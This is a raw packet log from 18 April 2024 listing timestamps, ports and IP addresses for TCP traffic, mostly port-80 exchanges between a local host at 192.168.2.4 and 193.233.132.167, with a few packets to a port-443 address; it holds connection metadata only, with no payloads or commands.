Apr 18, 2024 23:40:20.185874939 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185883999 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185914040 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185924053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185952902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185964108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185990095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186000109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186027050 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186041117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186064959 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186074972 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186103106 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186110973 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186141014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186150074 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186180115 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186191082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186218977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186238050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186254978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186259985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186291933 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186305046 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186331987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186342001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186369896 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186379910 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186408043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186420918 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186446905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186455965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186486006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186495066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186522961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186532974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186563015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186572075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186599970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186611891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186638117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186647892 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186676025 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186712980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186727047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186750889 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186767101 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186789036 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186801910 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186827898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186836958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186866999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186868906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186904907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186916113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186943054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186949968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.186981916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.186991930 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187026024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187031984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187073946 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187077999 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187113047 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187155008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187176943 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187196970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187200069 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187236071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187246084 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187273979 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187283993 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187311888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187335014 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187349081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187355042 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187387943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.187396049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.187438965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.249948025 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.249978065 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.250035048 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.250859022 CEST	49783	443	192.168.2.4	142.250.105.138
Apr 18, 2024 23:40:20.250873089 CEST	443	49783	142.250.105.138	192.168.2.4
Apr 18, 2024 23:40:20.283478022 CEST	80	49771	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.283561945 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.288750887 CEST	80	49779	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.288816929 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.299694061 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.379765034 CEST	49784	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425044060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425103903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425143957 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425175905 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425185919 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425225973 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425239086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425239086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425268888 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425306082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425321102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425345898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425383091 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425389051 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425421000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425438881 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425458908 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425473928 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425497055 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425535917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425549030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425574064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425590038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425611973 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425627947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425649881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425657988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425692081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425729990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425762892 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425765991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425782919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425806046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425837040 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425848007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425857067 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425887108 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425896883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425926924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425935984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.425965071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.425976038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426002979 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426014900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426042080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426050901 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426080942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426094055 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426117897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426135063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426157951 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426167965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426201105 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426208019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426240921 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426254988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426280022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426290989 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426318884 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426330090 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426357985 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426367998 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426398039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426405907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426436901 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426450968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426476002 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426491022 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426515102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426552057 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426565886 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426593065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426618099 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426630974 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426661968 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426670074 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426681042 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426707983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426717043 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426747084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426767111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426786900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426796913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426826000 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426839113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426865101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426872015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426904917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.426913023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.426953077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433082104 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433123112 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433139086 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433190107 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433228970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433267117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433305025 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433325052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433342934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433356047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433382034 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433389902 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433419943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433429956 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433459044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433468103 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433496952 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433509111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433537006 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433545113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433576107 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433584929 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433614016 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433623075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433651924 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433665991 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433691025 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433701038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433733940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433743000 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433774948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433782101 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433813095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433823109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433851004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433872938 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433888912 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433893919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433933020 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433942080 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.433971882 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.433981895 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434010029 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434021950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434048891 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434056997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434087038 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434097052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434127092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434134007 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434165955 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434174061 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434206009 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434221029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434245110 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434253931 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434283972 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434297085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434322119 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434338093 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434360981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434372902 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434398890 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434413910 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434437990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434448004 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434475899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434489965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434515953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434526920 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434555054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434565067 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434593916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434616089 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434633017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434638977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434670925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434695005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434714079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434736013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434766054 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434772015 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434804916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434842110 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434851885 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434880018 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434890985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434917927 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434932947 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434957027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.434967995 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.434997082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435002089 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435035944 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435046911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435072899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435085058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435113907 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435121059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435153961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435193062 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435203075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435230017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435244083 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435275078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435288906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435314894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435328960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435353994 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435379982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435393095 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435403109 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435431004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435445070 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435472965 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435482979 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435509920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435524940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435549021 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435585976 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435585976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435621023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435626030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435642958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435666084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435703993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435722113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435741901 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435746908 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435746908 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435781956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435791969 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435821056 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435827017 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435899019 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435906887 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435936928 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435946941 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.435975075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.435985088 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436013937 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436022043 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436052084 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436062098 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436090946 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436115980 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436152935 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436156988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436192989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436232090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436248064 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.436269999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.436279058 CEST	49768	80	192.168.2.4	193.233.132.167
